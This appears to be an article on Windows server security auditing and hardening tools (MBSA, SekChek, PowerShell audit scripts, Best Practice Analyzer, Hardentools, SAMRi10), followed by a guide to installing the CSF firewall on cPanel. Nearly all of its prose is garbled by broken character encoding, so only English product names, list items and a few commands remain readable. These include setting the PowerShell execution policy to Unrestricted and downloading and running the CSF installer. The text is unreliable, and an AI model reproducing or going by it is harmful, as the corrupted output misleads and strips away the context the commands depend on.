????�????�??� ???�????� ?� ????�??� (???�????�??),� ???�??� (????�??),
???????� (???????�?????� ???�???�?)� ???�???� ????�????.� ?????� ????�????
??????�???�?�??�???�??�??�????�(???�????,�??�??�?,�???�??�?�????),
?�????�??????�???�??�??�??燤BSA�?????�???�?�??�??�????,�??????
????�?� ???�??�????�?� ???????�??� ?� ?????�??�?� (???�????,� ???�??� ??).
???� ???�????� ???????�??� ???????�????� ??????�???�?� ????�??� ???�???�
??????�??� ????,� ???�?� MBSA� ???�??????�?,� ???� ???????�??� ???� ???�???
???????�????�?????�??�?�??�?�??�???�????�???�??�??�?�??????�????.
????�???�?????�????�??�??�???�??�???�????�??�?
???�?� ???�???�????� ?????�???�???� ???�?� MBSA� ????�???�??�?� ?????�???
????� View� security� report� ?� ????�???�?� ??????�???� ???�???�????.� ????� ??
????� ?????�???� ???�???�????� ???�???�??� ?????�??�??,� ??� ??????�??� ???�?
????�????�???��?????燩ick燼爏ecurity爎eport爐o爒iew.
???�???�???燤BSA�????�??�???�???�?�???�??�??:
? Security燯pdate燬can燫esults?
? Windows燬can燫esults?
? Internet營nformation燬ervices�(IIS)燬can燫esults?
? SQL燬erver燬can燫esults?
? Desktop燗pplication燬can燫esults.
?� MBSA� ???????� ?� ???�??� 2.0� ?� ????�?� ???�?� ????�???� ????�?????�???
(Common燰ulnerabilities燼nd燛xposures營denti?er,� CVE?ID)� ?????�??� ????�?????
?�??�????�???.
WARNING
??�??�?????�????��??�????��?????�?????�
????�?????�?� ???�???� ???�?� ????�???�???� ????�
?????� ?� ???????�??� ??????�???�????.� ?????
????�?� ??,� ?� ???� ????�?� ???�??.� ??� ???�??�????
?????�??�?�???�??��???�?????.
??????????? ??????
?
? �?????�?????
?????
????????? WINDOWS
???????????�????�???????????�
??�???????�?燗CTIVE燚IRECTORY
SekChek燬ecurity燗uditing
???�???�????�??�??�??�???�??�??�?�?�?????�???�???��??� SekChek
??� ????�???�??� ???�????????�????�???.� ???�??�???� ???�????�???� ?????�
???�??????�??�???�???�燦ov?ll燦etware,燯nix/Linux,營BM爄Series�,�????�?
??,燱indows.�??�????�???�??�???��???�???�????�燙lassic�燣ocal.
SekChek� Classic� ???�??�????�?� ??????�?� ???�??�???�??� ?????� ?� ????�
???�?�??�?/???�???��??�????燤S燱ord,燛xcel��??�??�??燗ccess,�?????�
????� ?????� ???�???� ???????�????,� ????�??????�??� ??� ????�?� ???�??�???
??�????�??�???�??�?????�????�??????,��??�?�??�?????�??�????�???�
???�??�???�??�??????�????��????�??????�????�?�?�????�????.
????�????�???燬ekChek燙lassic
??�???� ???�???,� ?� ?????� SekChek� Classic� ???�??� ???� ?� ???�????� ??????�
??????�??�?????:
? ???�??�??????�??�???�????�???�???�??
? ??�????�????�??�??�???�??�???�??��???�?????
? ?�?�???�??�????�??爁ree爐ools.
??�??�?????�??�??�???�燬ekChek燙lassic
???�????�??�??爏ecurity爏ettings,�??????�??�???�?燬ekChek燙lassic:
? System燙on?guration?
? System燗ccounts燩olicy?
? Audit燩olicy燬ettings?
? Registry燢ey燰alues?
? User燗ccounts燚e?ned燨n燳our燬ystem?
? Local燝roups燼nd爐heir燤embers?
? Global燝roups燼nd爐heir燤embers?
? Last燣ogons,�燚ays燼nd燨lder?
? Passwords,�燚ays燼nd燨lder?
? Passwords爐hat燦ever燛xpire?
? Invalid燣ogon燗ttempts燝reater爐han�
? Users爊ot燗llowed爐o燙hange燩asswords?
? Accounts爓ith燛xpiry燚ate?
? Disabled燗ccounts?
? Rights燼nd燩rivileges�(Users,燝roups)?
? Trusted燼nd燭rusting燚omains?
? Local燗ccounts?
? Servers燼nd燱orkstations?
? RAS燩rivileges?
? Services燼nd燚rivers爋n爐he燤achine?
? Server燫oles燼nd燜eatures?
? Task燬cheduler燬ettings?
? Security燯pdates,燩atches燼nd燞ot?Fixes?
? Products營nstalled?
? Current燦etwork燙onnections?
? Domain燙ontrollers爄n爐he燚omain?
? Logical燚rives?
? Network燬hares?
? Home燚irectories,燣ogon燬cripts,燩ro?les?
? File燩ermissions燼nd燗uditing.
???�?� ??????�????� ?� ???�???� ?????�?� ????�????� ?????� ????�?????� ?????�
????????� ???�???� ????�???� ?� ?????�???� ???�??�???� ???�??,� ???????� ?????
????�???�??�?� ?????�???�?� ?� ????�??.� ???�?� ???�?� ??????�???�?� ???�?????
????� ?� ??????,� ??????�?� ???�???�?� ????� ?� ??????�?????� ???�??.� ??????�
??????� ???�???� ???�?????�??� ????�?????� ??????�?� ???�???�?????,� ?????
??�???�?燙reate��???�?燙reate燬can燬oftware.
??�???�??�??????�??�?�??�?燬ekClient.exe
???�?� ???�?� ?� ?????�????� ?� ????�?????� ?????�???�?� ???????�???� ????
?�??�??�?�???�????燬ekClient.exe,�??????�???�??��??�??�????�???
???� ???�?????� ???�?????�??.� ????� SekClient.exe� ????�?????� ?????�???
??� ???�?� ????�??�??�???� ?� ????�?,� ???�??� ??????�???� ????????�??� ????�
????,� ???�????�???� ???�???�????.� ?� ???�?� ???�???,� ???� ???� ???�??�?
??????�?燗ctive燚irectory�???�??�???�???�??�?�????�???�???�?.
????�????�???燬ekClient.exe
??�???�??�???�??�????�??�???�???�?
?????�??�??�?�???�?
SekChek� Local� ?� ???� ???�??� ????�??� ???�????� ???�?,� ???�?� ?????�????
?????�???�???�???�??�??�??????�??�??�?��??�?????�??�??????�????.�
?� ????�??� ??� Classic� ????� ????�??� ????�????�???�??� ?????�???� ?� ?????� ????�
??????�??�??�???�???�?????��?????�?燗ctive燚irectory.�???????�??????�
???�???�??�??�??�???�??�???�?�???�????�????�??????�??�???:
? SekChek�??燬AM?
? SekChek�??燗D?
? SekChek�??燬QL.
??� ???�?� ???�????�???� ????� ??????�??� ????� ?� ???�???�?� ?????�?� ???�???
??� ???�???�???� ??????� ?� ???�????� Access� ????� ???�??� ????�??.� ???�?
???�???�??�????�??�??�?????�????�???�?��????�??.
???�?� ???�????�???� ???�???� ???�?????�??,� ????�?????� ?????�???
???????�???� ????� SekChekLocal.exe� ??� ???�?� ????�??�??�???� ?,� ???�??
?????� SAM� ???� ??????�??� ??????� ???� AD� ???� ???�???�???� ??????,� ?� ????
???�??�????�???�??�???�????.
????�????�???燬ekChek燣ocal
??�???�??�????�燬ekChek燣ocal
???� ???,� ???� ???� ??� ????�????�?� ?� ???????� ???�??� ?� Classic� ???� Local,
??� ???�????�??�??�?�???�??�?????�???�????�??�?????�??��?????�?
???�??????� ???�??� ???�?.� ?� ???�??� ????�??� ??�???�??�??� ???�?� ???�?
????�?????�?�?�?????�??�???�??�?�??�?�??�????�???.
???�????�??�??爏ecurity爏ettings,�??????�??�???�?燬ekChek燣ocal:
? System燙on?guration?
? System燗ccounts燩olicy?
? Audit燩olicy燬ettings?
? Registry燢ey燰alues?
? User燗ccounts燚e?ned燨n燳our燬ystem?
? Local燝roups燼nd爐heir燤embers?
? Global燝roups燼nd爐heir燤embers?
? Last燣ogons,�燚ays燼nd燨lder?
? Passwords,�燚ays燼nd燨lder?
? Passwords爐hat燦ever燛xpire?
? Invalid燣ogon燗ttempts燝reater爐han�
? Users爊ot燗llowed爐o燙hange燩asswords?
? Accounts爓ith燛xpiry燚ate?
? Disabled燗ccounts?
? Rights燼nd燩rivileges�(Users,燝roups)?
? Trusted燼nd燭rusting燚omains?
? Local燗ccounts?
? Servers燼nd燱orkstations?
? RAS燩rivileges?
? Services燼nd燚rivers爋n爐he燤achine?
? Server燫oles燼nd燜eatures?
? Task燬cheduler燬ettings?
? Security燯pdates,燩atches燼nd燞ot?Fixes?
? Products營nstalled?
? Current燦etwork燙onnections?
? Domain燙ontrollers爄n爐he燚omain?
? Logical燚rives?
? Network燬hares?
? Home燚irectories,燣ogon燬cripts,燩ro?les?
? File燩ermissions燼nd燗uditing.
???�??�???�?,�???�??????�???燬ekChek燣ocal
??�??�????� ????�?� ????????� ?????�????� ????� ????�????,� ???????� ???�?
???�???�?��??�?:�????�??�????????��??�?�??????�??.�???�???��??
??�???�?�???�????�??��?�????�??�??�?????�?�?�??�???,�??�?�????�
??� ??� ???????�???,� ?� ???� ???�??� ????�????� ????� ?????�??�????.� ????� ????
???????�???�??�??�??�???��???�???�?�??�???????�??�?????�??�???.
Windows燬EC-AUDIT�(PowerShell爏cript)
??????� SEC?AUDIT,� ???????�??� ?� GitHub???????�????� ????�??� Sikkandar?
Sha��??????�??�?燩owerShell,�??�??�??�??�??�?�??�??�?�??????�????
Windows� Server.� ???� ??,� ?????�??,� ???� ???????�?,� ????� ??????,� ???� ??� ???� ?
???�???�??� ???�???,� ????�??�?� ???�??�??,� ?� ????????� ???� ???????� ?� ????�
??????�??�??.
??�?????�??�????�?�燩owerShell
???�?� ?????�?� ??????� ???�???�?� ???????�?� ???????�????,� ???�??�?
???????�??,� ??????�?,� ???�???�???� ??� ??????�??� ??????� ???� ???�???�???
??????.� ??????� ????�???�?� ???????� ?� ???????�?????� ???�????� ???????�?,
???�??�?� ???� ??????�?� ???????�????,� ???????� ???�??� ????�???�??�???
?????�???� ????�?????� ???????�????� ?� ???????�???�?� ???�???.� ???� ?????�
????�????,�???燩owerShell???????�??�????�?��???�????,�??�?�?????�????�
????�???�??�??�??�??�??�??�???�?,�????�??� OpenVAS�??� Nessus�(?�???�
???�????� ??????�??� ????�?� ???�?????�??),� ??� ???�????� ???� ??� ????????
???�????�??�????�????.
???� ????�???� ???�??�??� ???????�????� ??� ???????�????� ??� Microsoft,� ??
??????�???�?????�?��???�?�??�????�??�???�???燤SDN�??� Windows
10�燗ctive燚irectory.
??�???��?????�??????
??�???�????�????�????�??�???�?燩owerShell��??�???�??�?????,�???�
????�?� ?� ?????�??,� ???�??�?� ???,� ???� ???�?????� ??� ????,� ?????� ????????�?
???�????�??� ???,� ???????� ???�????� ???�???� ?????.� ?????�?� ??� ?????�
??????�?� ???????�????� ?????�?� PowerShell� ?� ???�??� ???�??� ????� ????�
??????� ???�????� ???�????.� ?????� ???�??� ??????�???� ??�???�?� ?????-�
?????.
???�????�????,�???�?�??�??��??�???�????�?????�????�??,�??�?
?????�???� ???�??�?� ?????�????� ???�??� ??????�?.� ???� ???�?� ?????�???� ????�
????燩owerShell�?�??�?�???�??�??�???��??�??�????�?
Set?ExecutionPolicy燫emoteSigned
???�??�?????�??�?�??�?????��????�????�????�(?�??�???,�?�??�?�:
\)��????�???��??�???�???�??�??�???.�????�????�???�?�????�?�???�
????,� ???� ???� ??????�?� ?????�????� ???�????� PowerShell� ????�??�???� ????�
?????牜????�??????�?�.�??�?�??�??�???�?�??�?�??�???????,�????�??
?�???燩owerShell�????�?
Set?ExecutionPolicy燯nrestricted�Force
???�?� ????� ???� ??????� ????�???�?,� ??� ????� ???�????� ???� ???�??�?,� ?????
??????�????�??�?�??�?��????�????,�?�??????�?�????�????.
INFO
Hardening� ?� ???� ???�??� ??� ????� ??.� ??� ?????�
????�?� ???�???� ????�??????� ???????�????� ????�
????�(????�????)�?�???�??�????�?�??�?????�
??�,�??�??�???,��?????�?????�?�???�?�????�
???�??�??�??�??????�??�?????.
Windows-audit�(PowerShell爏cript)
Windows?audit� ?� ???� ????� PowerShell???????� ???� ???�??�?� ???????�????
???�????� Windows� Server� 2003+,� ???�??????�??� claranet.� ??????� ??????�?
????????� ???�??� ???????�??� ??� ?????� ???� ???�???�??� ???????� ???�????
Windows� ?� ????�??�???� ???� ???????�??� ??� ???�???� ????.� ????�??????�??
????� ????�?� ???�?� ????�????�?????� ?� ???�???� Excel� ???� ????� ????� ???�??
SQL,�??�??�?????�??�???�??,�??�?�???�???��????�???�?�???�??????
????�???�?.
??�?????�??�????�?�燩owerShell
??�????�?�????�?�??�??�??�???,�??�燩owerShell�??�?????�?�?????�?
?????�????��???�?牜????�??????�?�,�???�??�????�?�???�??:
Set?ExecutionPolicy燯nrestricted�
??�??�??�????�?????��????�????�????�?�??�?燙:\��??�??�??�??�??
????��??�??燦ode燞ints,�??????�????�????�???�??�?�??�??燦etBIOS
?� DNS,� ?� ???�?� IP?????�?� ?� ???�?� CIDR� ???� ???�????,� ???????� ???�?� ?????�
??????�???.� ???�??� ?????� ????�?� ???�??� ????????�?� ?� ???�???�?� include>
???爀xclude<,�?�??????�??�???�??????�?燦etBIOS爘燚NS爘營P爘燙IDR.
???�??�????�????�?�?????�??�??????��??�???�???��????�??�??�?.
???�?�??�?��??�?� Get?AuditData.ps1�??�?�???�??�??�??�???�???�
????�?� ???????�??:� PSCredential,� PSCredential,� ThreadCount.� ???�?
???�?� ??????� ?????�???� ????????� ?????�?:� ???�???� Get?AuditData.ps1,
?�??�?�??�????�????�� Compile?AuditData.ps1.�??�??�????�?�?????�
??:
.\Get?AuditData.ps1�PSCredential�$MyPSCredential�NodeHintsFile�".\
nodehints.txt"�ThreadCount�8;
?�??�?燙ompile?AuditData.ps1�?�????�?�??�?�???�?????�???�??�???�
???�???� ???�???�?� ???????�??:� CompilationType,� Filter,� SQLServer?
Name,� SQLDatabaseName.� ???�?????� ???�?� ???�??????� ?� ???�?� ?????�?.
???�??�????�?�????�?:
.\Compile?AuditData.ps1�CompilationType�"Excel"�Filter�"Example";
???�?�????�????�?�??�???�???��??�??燜iltered?Audit?Data?Example.xlsx
?�??�?燛xamples�????�????,��??????�????�?????.
Windows-Workstation-and-Server-Audit�(PowerShell爏cript)
???�??�??� ??????� Windows?Workstation?and?Server?Audit,� ???�?� ???????�??
??� PowerShell� ???�????�????� ???�??� ???????� (Alan� Renouf).� ??????� ????�
????�?� ???????� ????�??� ???� ???�??� Windows� ??� ?????� ???�??????�??�??
???�???�??�??????�????.�????�?????�????�?????�????�?�????�??�???�
??????�??�?:
? ??�?????�??????�??��??�????
? ??�????�?????爏ecurity爌ach�爃ot?x?
? ???�??�?????�??�?????�?�??????�?????
? NIC????�?????�???
? ??�?????�??�??
? ??�???�??��??????�????�??
? ????�???��??�??�?????�??,�??�??�??�??��??�??
? ???�????�??????�????�?�??�????燱indows.
?�???�????�??�??�???�?:�?�??�????�??�??�???�??????�??????�??
?� ????�???�?????� ???�?.� ????�???� ????�?� ???�???????� ???� ??� ????� C:\
?�????�???�?�??�?�???�??�??�???.
???�???�????�????�????�?��???�???�??�??
??????????? ??????
?
? �?????�?????
?????
????????? WINDOWS
???????????�????�???????????�
??�???????�?燗CTIVE燚IRECTORY
SQL燗udit燬cript燼t燭echEd�14�(PowerShell爏cript)
???�??�?????,�??�??�???�?�??�????,�???�????�??�??�???�?�???燤S
SQL燬erver.�?????�??�???�?�???�??�??:� SQLAuditv02.ps1,�??????�?????�
????�???�?�?????�?�??�??��??�???,�� Compilereports.ps1,� ???????� ????�
????�???� ???????�??� ?????� ??� CSV????�?� ?� ???�???�?????� ???�??� ?????�
????�??�??�??燛xcel.
??�???�??�????,�??�?�????�?�??�????�????�??�????�?�???�?????
???�???�???� ?� ?????�???� ??� ?????�????� ??� ??????�??� ???�?� C:\Temp,� ?????�
???� ???� ????�??????�?� ?� SQLAuditv02.ps1� ???�??� ???� ???????�??
($SQLServer,� $dir,� $SQLDBName).� ???�?� ???�?� ??????� ?????�?� ??� ???�???
??????????�????�?????�??�??�????��????�???�?????�??�?�??????�??
??�??�?�???�??�??�???.
???�?????�??????�??�???�???�???�?�??�?????�??�??:
? Server燩roperties?
? Windows營nfo?
? Version營nfo?
? SQL燬erver營nstall燚ate?
? Con?guration燰alues?
? DB燜ile燦ames燼nd爌aths?
? DB燩roperties?
? Server燞ardware?
? Fixed燚rive燜reespace?
? IO燯til燽y燚B?
? System燤emory?
? Process燤emory?
? SQL燣og�le爁reespace?
? CM燜ile燬izes?
? CM燚B燬tatistics?
? CM營ndex燜rag.
???� ????�?� ??????� ????�???�?,� ??� ???????� ??????�??� ?� ????� HTML????�?,
???????�??�?�??????�????�??�??�??.
HTML??????,�???�??????�??�?�????�????�?????�????�?
???� ???�?,� ??????� ??� ??????�?� ???�??� ?� ???????�????� ?� ??� ???�????
??????????� compliance????�????� ????�?� ???????�????.� ??� ??� ???� ???�?
?????� ???�???�?� ???� ?????�??,� ????� ?� ?????� ???????�??� ???????�??� ????�
????�?� ????�???????� ????�???�????� ?� ???????�??� ?????�??�?� MS� SQL
Server,��??�??�???�????�??�??燙on?guration燰alues,燚B燩roperties,�??�?
???????�????爏ecurity爏ettings.
Microsoft燱indows燬erver燘est燩ractice燗nalyzer
??�????��??�??燱indows燬erver�08燫2��??�?????�????�???�?�?????�
????� ?????�????� ???�??�??�?� ???� ???�???� ????�??�?????� ???�????�??
??� ????�???�???� ???????�???�?� ?� Best� Practice� Analyzer.� ???� ?????� ???�??
???�??� BPA� ???�?� ???�???� ??????�???�????� ???�??� ?� ???�????�??� ?????�
????燤icrosoft.��??�?????�?�08燫2��???燘PA�???�??�???�???�?�???�
??� ???�?????� ??????�????� ???�???� ?� ????�?� ????�???� ???�????� ??� ?????�??
Server燤anager.
???�?� ?????�?� ???�???� ???�???�???� ???� ???�????�??� ?� ???�??????�??
???????�??燱indows燽ased�????????????�???,�??�????:�??�?�??�?????
???�???�???�?????�???�?????�???�?��????�???�??????�?�??�???,�??
??�?????�??�?�??�??�??�??�?????燚C,�??�?�??�?燨U�燗ctive燚irec?
tory�?????�?�?�??�??�???�??�????,�???�?�?�????�???�????,�??�???�
???�?�??�??�??�???燚NS,�?????�?�?�??�??????燝roup燩olicy�燜RS.�?,
????�?,燘PA�??????�???�???�?��?燤S燬QL燬erver.�??�???�?燘PA�???�???
???�????�??� Windows� Server,� ????� ???�??�???� ???�????�???� �?� ?????�?�
?�?�??�???�??????�??�????.
??�???�???�????�?燘PA�?燱indows燬erver�12
??�???�???�????�?燘PA�?燤S燬QL燬erver�08
??�?�??�???燘PA�?�??�???�???�?�??�?�?�??????�????,�??�??????�???�
?????� ???� ???�????�?� ???�?� ???�??� ?� ????�?� health?????�???�??� AD,
???????,��???�??�???,�????�??�???�???�?�????�??????燞ardening.
BPA� ???�?� ?????�???� ??� ????�?� ??� MMC??????�??,� ??� ?� ??� ???�???.
???� ????�???�????� ???�?� ???????�??� ?� ??????�???� ???�???� ??� ??????
???????�??�????�??�???�?????:
#Get?BPAResults.ps1
#燤icrosoft燱indows燬erver燘est燩ractice燗nalyzer爋n燙LI爉ode
#v.1.0
Import?Module燬erverManager
Import?Module燘estPractices
$ResultDir��"C:\Temp\"
foreach�($BPAModel爄n燝et?BpaModel)
{
牋$BPAinstance��$BPaModel.Id
牋$FileName��$BPAinstance.Substring($BPAinstance.LastIndexOf("/")+1
)
牋Invoke?BpaModel�$BPAinstance�
牋Get?BPAResult�$BPAinstance爘燙onvertTo?Html��($ResultDir�+�
$FileName�+�".html")
}
??�???�??� ???�???� ???�???,� ???�????�???� BPA� ??� ???�??� ??????�??� ????
???�???,�????�??�????��?????�??燞TML????�?��??�?燙:\Temp.
Hardentools爁or燱indows
Hardentools� ?� ???� ???�???�??� ??????�??� ???�?,� ??� ???�?????� ????�??�?,
????�????�??�??�??�????�????/????�????�???�??�?????�??��??�????�
?????� ???�????� Windows� ?� ????�???????�???� ??� (MS� O?ce,� Adobe� Reader
?�??�??).�????�??�??�?�?????�?????�??�?????�????爏ecurity爏ettings,
?� ???�???� ?????�???� Windows� Script� Host,� ????�??� ?????�????� A?tivX,� ????�
????????�????�????燗SR�(Win10),�??????�燗dobe燫eader爌rotection爉ode,
Disable� Adobe� JavaScript� ?� ????� ?????�??.� ????� ????� ????� ??????�?� ?� ????�
??????� MMC� ?� ??????� ??????� ?� ??????,� ???�?� ?� ?????�??� ???�???�??�??
???�?,�?�??�?,�??�???�??�?!
????�????�???�??�???燞ardentools爁or燱indows
??�???,燞ardentools��??�??�??�??�??�??�??�???,�???�?�??�???�?????�
???� ?????�?????�?� ??� ?????� ???????�????.� ????�?� ???�???,� ???� ???�?� ????�
???�????�?� ???????� ???�?????�?� ?� ????????� ???????�??� ?????�???�???
???????�??,� ??� ?� ????�????�??� ???�???� ???� ???�??�?� ???�????� ??????�?
????�?� ??????� ???�?,� ??� ???????� ??� ???�??????�???�?� ?????�??� ??????�?
???????�????,�???�?�???�????�??!
??�???�???�?????�??�???燞ardentools爁or燱indows
SAMRi10�燞ardening燬AM燫emote燗ccess爄n燱indows��/燬erver
2016
SAMRi10� ?� ???� ???� ????� ???�???,� ?� ???�??,� ???� ????� PowerShell???????
??� Microsoft,� ????�?????� ????�?????� ??????� ????� ???�??� ????�??� ???????
????�?????�??� (Security� Account� Manager,� SAM).� ???�?� ?????�?� ??????� ????�
????�?� ????�????� ??????�?,� ???�???�???� ??????� ???�??�??� ?????
?� ??????�??????� SAM� ?� ?????� ???????�????� ????�?� ???�??� ??????� (?????�
??????�??).
???�?�????�???�?????,�????�??�????�?�??�???????�??��????�????�
???�????�????�(?�??�???,�?�??�?�??�?燙:\)��????�???�?�??�?�????�
???�??�???��??�???燩owerShell:
.\SAMRi10.ps1�
???�????�??�?????�????�??????�??燬AMRi10
?�??�??��????�????�?????�????�?
??�???�??�??????�?�????�????��??�???燩owerShell
??�???� SAMRi10� ???� ??????� ?????�??�?� ???� ????,� ???????� ???�????�?
??燬AM��????�???????�?????��???�???�?????�?�?�?????�??�?????
(???�????,� ??????�?� ???�???� ???�???�???� ??????).� ?????� ???�????
?�????�?��?????�??????�????燬AM�??�?�???????�?�???�??�?燝itHub.
??�???�???� ??????�??� ????�?� ???�??� ??????� (????�?????�??)� ??� ????�
??????�??燬AMRi10.
??�????�????�???�?????�??�?�??�???�??燬AMRi10
?� ???� ??????�??� ???� ??� ?????�?,� ??� ???� ???�?� ???�?????�??� SAMRi10.
???� ??� ?????,� ??� ????�???�??�??� ?� ????�?� ????�??� ???�??� ??????� ????�
??????�???????�??�??�??????�????.
???�??�??????�????�???�?????�??�??�?�??�???�??燬AMRi10
Microsoft� ????�???,� ???� ???�???�??� SAMRi10� ?????� ??� ??????�?� ??????
???????�??� ????�??�??�????,� ?� ???�????� ???�??,� ???� DC� ??� ????� Windows
Server� 2016� ?????� ?????�?????� ??� ???�??�??� ???�???� ?� SAM� ?� ??????�??�?
??�??�???�??�???�??�?????,�??�???�????�??�???�??�??:
? Domain燗dmin燼ccount:�??�??�????�????�???
? Non?privileged燯ser燼ccount:�??????�???�?燗ccess爄s燿enied?
? ????�???�?燫emote燬AM燯sers:�??�??�????�????�??.
??????????
???�??� ?????� ??????� ????�?� ?????�?� ?� ??????.� ??� ???�???�???� ?????
?????�???� ?� ??????� ??????�?????� ???�???�??� ?� open� source� ???�??�??�?
????�?� ???????�????� ???�???�??� ?� ???�?????� ???�??� Windows.� ?� ???????
???�?� ?????�???� ????�???� ??� ?� ???�?????� ???�???� ???�?????� ????� ????
???�??�??????�??�??�?????�???�??�?�???�??�???????�??????�????,
?�??�?,�??�??�??????��??�???�??,�??????�???��??�?�??�??,�???�???�
??????��???�???�??�???�??????�????�(hardening爏tate).
???�?� ???� ???�??� ?????� ??????� ????�?,� ?� ???????� ??� ???�???�??� ???
???�?????�??� ???�??� ???�??�??�??� ????�?� ???????�????� ?� ?� ???,� ???� ????�
????,� ????�???� ???� ????�??� ???????� ???�???,� ???�?????�???� ?� ??????
?�????�???�??�??�?�?�??�?�????�??�??????�??�??�????.
?????
??????�????????
C????????�????????????,
?????????????�???.
???????????燙/C++.
andrey@profadmin.biz
??????
???
CPANEL
???�????????燙SF�燙XS
???�?????�???????
??燚DOS��??????
?� ????� ??????� ?� ???�??�?� ???� ???� ?????� ?????�??� ???�???
???� ??????� ???????�??� ???�?????� WHM/cPanel.� ???
??????�?� ???�???� ???????�????� ??� ????�?� cPanel,� ??� ?
??????�??�????�???�??�???.��??�?�?????��??�???�???
???�????,� ???� ???�?� ??????�?� ??� ??????�??� DDoS????�?
?�?????�?????�?�??�???燙SF.
??? ????? cPanel
??�?�????�???�??�?????�???�??�????�燾Panel,�?�?�??�??�??�??�???�
???�?,�????�??�?�??�??�?.�??�??�??�?�?????燙entOS��??�???�?�???�
???�??�??�??�??�?????�??�????.燾Panel�???�????��??�??�?�??燗pache,
MySQL,� Exim,� FTP� ?� ???�??� ??.� ???�?� ?????�????� ????�??�?� ???�??� ????�
??????�????�??�??�??????�??�???.
??�???�??� ????�??� ??????� ???????�??,� ???�?� ???�?????� ????�???� ?????�
??????�??� ?� ???�?????� ???�?.� WHM/cPanel� ???�??�?� ???�???�?,� ?� ?????
????�???� ?????� ????�???� ???�????�??� ???�????.� ???�????,� ??� ????
?� ????�?� VPS/VDS� ?� ????�??�?????� CentOS� ?� ????� VPS� ???�??,� ????� ????�?
??.�??�??燱HM/cPanel�?????�?�????�???�??�??�??�??�??????�??�??
???�?�??�??�???�??.
??�?� ??� ????� ??????� WHM/cPanel� ?� ???�????�?� ???�??� ?� ???�??� ???�???�
????� ???� ????�??�??�???�??� ???�????�???� ???�???,� ?� ????� ??� ?????� ????�
????�????�???�??�????�??�???�?�??�??�??�??�????�????.�??�?�????�
???�?� cPanel� ?� ????�?� ????�?� ???� ???�???� ?� Con?gServer� Security� &� Firewall
(CSF)�燙on?gServer爀Xploit燬canner�(CXS).
CSF� ???�??�??� ?� ??????�?� ???�???� ???????�????� ???�???,� ???�???�?
????????��??�??�??爄ptables�????�??�????�??�????????????,�??�????�
????� ?????�?????�??� IP?????�?,� ????�???�???� ???�??� ?� ???�??� ???�???
?�??�???�?????�??????�?????????.
CXS�?????�?�?????�?��??�??�??�?��??�??�???????,�??????�????
????� ???�?????� ??� ???�??� ?????� SSH,� FTP� ???� ?????� ???????�???�??.� ???
????�??�???�??�?????�???�??�????燱ay爐o爐he燱eb�?�??????�??????.
???�?�??�?�??�???�??�?????��??�??�??燙SF,��????�燙XS.�??�??
???�??�??�????�?,��?�??�?�????�????�???????�??�??�?�??????�???.
CONFIGSERVER燬ECURITY�&燜IREWALL�(CSF)
????�????� ?� ????�??�?� CSF.� ???� ???�?� ?� ????�???� ??� ???????.� ?� ???�???
??�??�?爎oot�??�?�????�???�??�?????�???�????�?????:
$爓get爃ttps://download.configserver.com/csf.tgz
$爐ar�xzf燾sf.tgz
$燾d燾sf
$爏h爄nstall.sh
??????�??�??�???�??�,�??�????�??�?,�??????�???營P??????,��??????�
??� ??� ???�??�??� ?� ???�???,� ?� ?????� ???�??.� ???�?� ????�??�?� CSF� ???� ??
????�??,� ?????� ???� ????�???�?� ???�?� ???�??�??� ???�????� ???????�?,
?�????�??�?��????�???.�??�??�???�?�?????�?��?????燱HM,��??�
?�??�??燞ome�燩lugins�燙on?gServer燬ecurity�&燜irewall.
?�????�??�???燙SF�??�?�??�???�????�???�??�??�????????,�??????
???�???�?�???????�???�?�營P?????�??.�????�?,�?�??�??,�??�?�??�???�
???�??,� ??� ????� ???� ??� ???� ??� ?????.� ???� ??????�?� ?� ????�????�???
????????�?�??�?�?????�?�???�?燚esktop燰iew.
?� ????�????�??� ????????�?� ????�?????�?� ????�???� ?� ???????� ???�??
CSF�燙on?gServer燜irewall.�??�??�??�?�????�??�???�?:燜irewall燙on?gu?
ration�燜irewall燩ro?les.
???�???� ????� ??� ????�?� Firewall� Pro?les� ?� ???????� ???�???� ??????� CSF,
????�?� ?� ???????� ?????� ???�?????� ???�???�?.� ???� ???,� ???� ???�????� ?� ????
???�????,� ?� ???????�??� ????????� ???�???� disable_alerts,� ???� ???� CSF� ????
?� ???�??� ???????� ????�?� ?� ????� ???�????� ????� ???�???� ????� ????????�
??????.
???�?�??�??�??�??燙SF�????�?,�??�?�????�???????�??�??�??�???
???� ????�???� ???� ????� ???�?� ?� ????�?� ??????� ???� ???�??� ???????�?.� ??
?� ????� ??????�?� disable_alerts� ?� ????� ????�?� Apply� Pro?le.� ??????�?� ?????�
????,� ???� ?????� ????�?????� ???????�?????� CSF� ???� ???�???�?� ?????.� ????�
????�?� ??????�?� ?� ????,� ??� ???� ???� ??� ???�???�?,� ???�???�?� ??????�???
CSF.�???�??�???�??�??��??�??燫eturn,�??�?�???�??????�?�???�??
????�???�??�???.
??�???�???�????��????�??�???�?.�?????�?�?�???�?燜irewall燙on?g?
uration� ?� ???�???�???� ?????� ????????� ???????� ?� ?????� ???�??.� ??� ??� ????,
??????�??�??�?�???�???�??�??.�?�?????�??�???�?�??�??�???�???�
??,�?��??�?�??�??�???????�??�?�?????�??�??�????,�?????�?�??�??,
???�?�?????,�??��???.
???�??�???????,�??????�??�????�???,��??燭ESTING.�??�?????�???�
??� ???�??�?????�?:� ????� ??� ?????� ??????� ?????� ???�???�?,� ???� ??� ???�???
???????� ??� ????� ???�??,� ??� ???� ????�??�??� TESTING� ?????� ????� ?????� ???
???�????�?� ????�???�??�?� ???�??�?.� ????� ??� ??????�????� ???????�??� IP
???燰PN,�?�???�??�?�??�?,�??�????�?�???????�???營P��????�??�??�
???�?� ????� ??� ???�?????�?� ??� ???� ?????� ????�???.� ????� ??� ????� IP� ????�???
???�??�??�????�????,�?�???�????燭ESTING�??�??�??�??�???�??�燙SF
???�?????�?.
??�???� ?????�??� ???�???�?� ??� ???�???� IPv4� Port� Settings.� ?????� ???�?
?????� ???�?????� ???�????� 20:65535� ???� ???????�??� TCP_OUT� ?� UDP_OUT.
???� ???� ????�?� ??????� ????�????� ???�??,� ?� ???????� ????�?????,� ???????�
????�?�??�???,�??�?????�???�??�?????�???�??�????�????.
???� ???�?????�?,� ???� ???�??� ???�???�??� ???�??� ??� ????�???� ???�????
??� ???� ???????�?� ?� ???� ????�????� CSF� ???????�?� ??� ??� ?????�?.� ?� ???????�
????� ??� ???�???� ?????�???� ????????� ???�?,� ????� ?� ????� cPanel� ?� ????�?
?????� ????,� ???� ??� ?????� ????�?????� ????�??� ???�???� ?� ???�??�??� ?????�
??????�?.� ???� ????� ????� ?� ????� ???????�??� IP,� ??� ?� ???????� ???� ?????
????????,��??��?????�??��??.
